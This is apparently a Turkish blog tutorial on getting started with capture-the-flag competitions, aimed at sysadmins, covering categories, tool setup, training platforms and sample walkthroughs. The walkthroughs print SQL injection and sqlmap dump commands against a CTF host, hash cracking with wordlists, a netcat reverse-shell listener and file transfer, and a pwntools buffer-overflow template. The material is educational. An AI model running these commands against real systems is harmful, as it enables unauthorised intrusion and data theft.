CTF (Capture The Flag) Nedir ve Nasıl Başlanır?
Sistemlerde yıllarca güvenlik açığı avlamak, log analiz etmek, incident response yapmak… Bunların hepsi güzel ama bir noktada kendinizi test etmek istiyorsunuz. Ben de birkaç yıl önce tam bu noktada CTF dünyasıyla tanıştım ve o günden beri savunma tarafındaki bakış açım köklü biçimde değişti. Saldırganın nasıl düşündüğünü anlayan bir sysadmin, sistemlerini çok daha iyi koruyabilir. Bu yazıda CTF’in ne olduğunu, neden ciddi bir öğrenme aracı olduğunu ve pratik olarak nasıl başlayabileceğinizi ele alacağım.
CTF Nedir, Ne Değildir?
CTF yani “Capture The Flag”, siber güvenlik alanında düzenlenen yarışmalardır. Temel mantık basittir: Kasıtlı olarak zafiyetli tasarlanmış sistemlerde ya da belirli bulmacalarda “flag” adı verilen gizli bir metni bulursunuz. Bu flag genellikle CTF{some_secret_string} formatında olur ve bunu platforma submit ettiğinizde puan kazanırsınız.
Ama CTF’i sadece “yarışma” olarak tanımlamak onu küçümsemek olur. Gerçekte CTF, kontrollü bir ortamda gerçek saldırı tekniklerini, güvenlik açıklarını ve exploit yöntemlerini öğrenmenin en etkin yollarından biridir. Bir sysadmin olarak “ben zaten sistemleri koruyorum, saldırmayı neden öğreneyim?” diye düşünebilirsiniz. Bu soruyu yıllarca ben de sordum, ta ki bir CTF çözümünde SQL injection’ın nasıl çalıştığını bizzat deneyimleyene kadar. O günden sonra WAF kurallarımı çok farklı yazdım.
CTF Kategorileri
CTF yarışmaları genellikle şu kategorilere ayrılır:
- Web: SQL injection, XSS, SSRF, command injection gibi web uygulama açıkları
- Binary Exploitation (pwn): Buffer overflow, format string, heap exploitation gibi düşük seviyeli açıklar
- Reverse Engineering: Derlenmiş binary’leri analiz etmek, obfuscated kodu anlamak
- Cryptography: Zayıf şifreleme implementasyonlarını kırmak, matematiksel açıkları bulmak
- Forensics: Disk imajları, pcap dosyaları, memory dump analizi
- Steganography: Resim, ses, video içine gizlenmiş verileri bulmak
- OSINT: Açık kaynak istihbaratı ile bilgi toplamak
- Miscellaneous: Yukarıdakilere girmeyen her şey
Sysadmin veya DevOps geçmişinden geliyorsanız forensics ve web kategorilerinde hızlı ilerleyeceksiniz. Linux komutlarına hakimiyetiniz, log okuma alışkanlığınız burada doğrudan işe yarar.
CTF Formatları
Yarışmalar iki ana formatta yapılır:
Jeopardy stili: En yaygın olanı. Farklı kategorilerden sorular var, her birinin belirli bir puan değeri var. Bağımsız çözersiniz, başkasının ilerlemesi sizinkini etkilemez.
Attack-Defense: Hem kendi sisteminizi savunur hem de rakiplerin sistemine saldırırsınız. Bu format çok daha gerçekçi ama aynı zamanda çok daha stresli. Bir yandan patch uyguluyorsunuz, bir yandan exploit yazıyorsunuz.
Ortamı Hazırlamak
Kali veya Parrot OS kurmanızı öneririm ama mevcut Ubuntu/Debian makinenize de gerekli araçları kurabilirsiniz. Ben genellikle CTF için ayrı bir VM kullanırım, hem izolasyon hem de anlık snapshot alma kolaylığı açısından.
# Temel CTF araçlarını Ubuntu/Debian üzerine kurmak
sudo apt update && sudo apt install -y
nmap
netcat-traditional
python3-pip
git
curl
wget
binwalk
foremost
steghide
exiftool
pwndbg
wireshark
john
hashcat
gobuster
nikto
sqlmap
# Python tabanlı CTF araçları
pip3 install pwntools requests beautifulsoup4 pycryptodome
# Ghidra kurulumu (reverse engineering için)
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.0_build/ghidra_11.0_PUBLIC_20231222.zip
unzip ghidra_11.0_PUBLIC_20231222.zip
cd ghidra_11.0_PUBLIC
./ghidraRun
CTF çalışma dizininizi organize etmenizi tavsiye ederim. Her challenge için ayrı klasör açma alışkanlığı edinmek, ileride “o komutu nerede çalıştırmıştım?” derdinden kurtarır.
# CTF çalışma dizini yapısı
mkdir -p ~/ctf/{tools,writeups,challenges}
mkdir -p ~/ctf/challenges/$(date +%Y-%m)/challenge_name/{files,notes,exploits}
# Örnek dizin yapısı:
# ~/ctf/
# ├── tools/ # Custom scriptler
# ├── writeups/ # Kendi çözüm notlarınız
# └── challenges/
# └── 2024-01/
# └── web_login_bypass/
# ├── files/
# ├── notes/
# └── exploits/
İlk Adımlar: Hangi Platformdan Başlamalı?
PicoCTF
Başlangıç için en iyi platform PicoCTF. Carnegie Mellon Üniversitesi tarafından hazırlanmış, her zorluk seviyesine uygun challenge’lar var. Türkiye’den erişimde sorun yaşamıyorsunuz ve Türkçe kaynak bulmak mümkün.
HackTheBox
Biraz ilerleme kaydettikten sonra HackTheBox’a geçin. “Starting Point” makineleri sysadmin geçmişi olanlar için iyi bir giriş noktası. HTB’de hem CTF tarzı challenge’lar hem de gerçek makine hacklemesi var.
TryHackMe
Daha yapılandırılmış öğrenme yolu isteyenler için TryHackMe idealdir. “Room” adı verilen öğrenme modülleri var ve adım adım ilerliyor. Tamamen yeni başlayanlara bu platformu öneririm.
CTFtime.org
Aktif yarışmaları takip etmek için CTFtime.org’u kullanın. Dünya genelinde süregelen tüm CTF’lerin takvimi burada.
Pratik: İlk Web Challenge’ınızı Çözmek
Teoriden çıkalım ve gerçek bir senaryoya bakalım. Basit bir web challenge örneği üzerinden gidelim.
Diyelim ki bir login sayfası var ve klasik SQL injection açığı mevcut. Aşağıdaki adımları izlerim:
# Önce hedefi keşfet
curl -I http://target-challenge.ctf:8080/
# Temel recon
nmap -sV -sC -p 1-10000 target-challenge.ctf
# Web dizin keşfi
gobuster dir -u http://target-challenge.ctf:8080/
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-x php,html,txt,js
-t 50
# robots.txt, .git, backup dosyaları kontrol
curl http://target-challenge.ctf:8080/robots.txt
curl http://target-challenge.ctf:8080/.git/HEAD
# SQL injection testi - manual
# Önce basit test
curl -s -d "username=admin'--&password=anything"
http://target-challenge.ctf:8080/login
# sqlmap ile otomatik tarama
sqlmap -u "http://target-challenge.ctf:8080/login"
--data="username=admin&password=test"
--level=3
--risk=2
--dbs
# Veritabanı tablolarını listele
sqlmap -u "http://target-challenge.ctf:8080/login"
--data="username=admin&password=test"
-D ctfdb
--tables
# Flag tablosunu dump et
sqlmap -u "http://target-challenge.ctf:8080/login"
--data="username=admin&password=test"
-D ctfdb
-T flags
--dump
Bu kadar araç kullanmak her zaman doğru değil. Özellikle başlarken önce manuel denemeler yapın, sonra araç kullanın. Yoksa ne yaptığınızı anlamadan flag alırsınız, hiçbir şey öğrenmemiş olursunuz.
Forensics Challenge Örneği
Forensics, sysadminlerin en hızlı adapte olduğu kategori. Disk imajı analizi, bellek dökümü inceleme, network capture analizi… Bunlar zaten işin içindeyiz.
# Bir disk imajı aldınız, ne yaparsınız?
file suspicious.img
# Dosya sistemini mount et
sudo mkdir /mnt/ctf_disk
sudo mount -o loop,ro suspicious.img /mnt/ctf_disk
# Silinen dosyaları kurtar
foremost -i suspicious.img -o ./recovered/
# Alternatif: binwalk ile dosya içini araştır
binwalk -e suspicious.img
# Strings ile okunabilir metinleri çek
strings suspicious.img | grep -i "CTF{"
# Exif metadata kontrol (resim dosyaları için)
exiftool suspicious.jpg
# Steganography kontrolü
steghide extract -sf suspicious.jpg
# Parola yoksa boş bırak, enter'a bas
# Zlib/gzip gömülü veri kontrolü
binwalk --dd='.*' suspicious.png
Gerçek bir örnek anlatayım: Bir CTF’de JPG dosyası içinde gizlenmiş veri bulmak için stegsolve aracını kullandım. En LSB (Least Significant Bit) katmanında flag gömülüydü. Bu tekniği öğrendikten sonra production ortamında sızdırılan verilerin nasıl gizlenebileceğini de anladım. Teorik olarak okuduğumda geçip gitmiş, bizzat uygulayınca yerleşmişti.
Hash Kırma ve Kriptografi
Şifre hash’leriyle karşılaşmak CTF’de çok yaygın. John the Ripper ve Hashcat temel araçlarınız olacak.
# Hash türünü belirle
hash-identifier "5f4dcc3b5aa765d61d8327deb882cf99"
# John the Ripper ile hash kır
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show
# Hashcat ile (GPU varsa çok daha hızlı)
# MD5 = mod 0
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# SHA256 = mod 1400
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
# Kural tabanlı saldırı (daha gelişmiş)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
-r /usr/share/hashcat/rules/best64.rule
# rockyou.txt yoksa indir
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Kriptografi challengelarda ise Python bilmek şart. Temel şifreleme algoritmalarını anlamadan bu kategoride ilerlemeniz zor.
CTF’de Geliştirmeniz Gereken Temel Beceriler
Linux Komut Satırı Hakimiyeti
Zaten sysadminsaniz bu alanda avantajlısınız ama CTF spesifik bazı araçları ve teknikleri bilmek gerekiyor:
- grep, awk, sed: Büyük veri setlerinden pattern çıkarmak için
- xxd, hexdump: Binary dosya analizi için
- nc (netcat): Reverse shell almak, port dinlemek için
- base64, xxd: Encoding/decoding işlemleri için
# Sık kullanılan one-liner'lar
# Base64 decode
echo "Q1RGe2hlbGxvX3dvcmxkfQ==" | base64 -d
# Hex to ASCII
echo "4354467b68656c6c6f5f776f726c647d" | xxd -r -p
# Reverse shell almak için listener aç
nc -lvnp 4444
# Dosyayı netcat üzerinden transfer et
# Alıcı taraf:
nc -lvnp 4444 > received_file
# Gönderen taraf:
nc -q 1 [receiver_ip] 4444 < file_to_send
# Binary içinde string ara
strings binary_file | grep -E "CTF{.*}"
Python Scripting
CTF’de Python olmadan gideceğiniz yer sınırlı. pwntools kütüphanesi binary exploitation için neredeyse standart haline geldi.
# Basit pwntools örneği - buffer overflow
from pwn import *
# Local binary çalıştır
p = process('./vulnerable_binary')
# Remote bağlantı
# p = remote('challenge.ctf', 1337)
# Offset bul (pattern_create ile)
pattern = cyclic(200)
p.sendlineafter(b'Input: ', pattern)
p.wait()
core = p.corefile
offset = cyclic_find(core.eip)
print(f"Offset: {offset}")
# Exploit gönder
payload = b'A' * offset
payload += p32(win_function_address)
p.sendlineafter(b'Input: ', payload)
p.interactive()
CTF Topluluğu ve Türkiye’deki Sahne
Türkiye’de de aktif bir CTF topluluğu var. 0x90 (sıfır-x-doksan) başta olmak üzere çeşitli takımlar uluslararası yarışmalara katılıyor. Discord üzerinden bu topluluklarla bağlantı kurmanızı tavsiye ederim.
Ayrıca şu organizasyonlar Türkiye’ye özgü etkinlikler düzenliyor:
- Siber Vatan (BTK bünyesinde)
- TürkSec topluluğu
- Akademik çevrelerde METU, ITU, Bogazici ekipleri
Takım olarak oynamak çok önemli. Bir challenge’da birkaç saattir tıkandıysanız, farklı bir bakış açısı anında sorunu çözebiliyor. Ben genellikle birkaç kişiyle küçük bir ekiple giriyorum yarışmalara. Herkesin farklı güçlü alanı olduğundan iş bölümü doğal oluşuyor.
Writeup Okuma ve Yazma
Çözemediğiniz challenge’lar için sonradan yayınlanan writeup’ları mutlaka okuyun. CTFtime.org’da yarışma sonrası writeup’lar paylaşılıyor. Bu dokümanlardaki düşünce sürecini takip etmek, “ben bunu neden göremedim?” sorusunu cevaplamanızı sağlıyor.
Siz de çözdüğünüz challenge’lar için writeup yazın. Yazmak öğrenmeyi pekiştiriyor. İlk writeup’ım o kadar dağınıktı ki kendim bile sonradan anlayamadım. Ama birkaç sonrakinde bir süreç oluştu, adım adım düşünce akışımı kaydetmeye başladım. Bu notlar sonradan gerçek iş hayatında da işe yaradı.
Yanılgılar ve Gerçekler
“CTF ile gerçek hayat güvenliği arasında uçurum var” eleştirisini sık duyarım. Kısmen doğru. CTF challengeları genellikle tek bir açıkla çözülüyor, gerçek sistemlerde ise zincirleme açıklar, kurumsal ağ kompleksitesi, insan faktörü devreye giriyor.
Ama şunu da söyleyeyim: Web challengelarda öğrendiğim SSRF tekniğini, bir pentest sırasında AWS metadata endpoint’ini çekmek için kullandım. Binary exploitation öğrenirken anladığım stack frame yapısı, bir crash dump analiz ederken işime yaradı. Forensics challengelardaki pcap analizi alışkanlığı, bir veri sızıntısı soruşturmasında doğrudan uyguladığım bir beceriye dönüştü.
CTF, güvenlik düşünce biçimi kazandırır. Önce “bu nasıl kırılır?” diye bakma refleksi, savunma katmanlarını tasarlarken “ben bunu kırmaya çalışsam nereden başlarım?” sorusunu sormayı kolaylaştırır.
Sonuç
CTF’e başlamak için mükemmel bir zamanlama beklemeyin. Bugün TryHackMe’de bir hesap açın, “Complete Beginner” learning path’ini başlatın. Bir hafta sonra HackTheBox Starting Point’e geçin. Bir ay sonra CTFtime.org’dan bir Jeopardy yarışmasına kayıt olun, takım arkadaşı bulun ya da yalnız girin.
İlk yarışmada muhtemelen çok az puan alacaksınız ya da hiç alamayacaksınız. Sorun değil. Oradan öğrenip döneceksiniz. CTF’in güzel yanı da bu zaten: Başarısız olmanın maliyeti yok, ama kazanmanın getirisine değer biçilemez.
Sysadmin ve DevOps dünyasında güvenliği önemsiyorsanız, CTF bu alandaki en iyi pratik ortam. Saldırgan perspektifini kazanmak, savunma kalitesini doğrudan ve ölçülebilir biçimde artırıyor. Bunu söyleyen ben değilim; sistemlerim söylüyor.
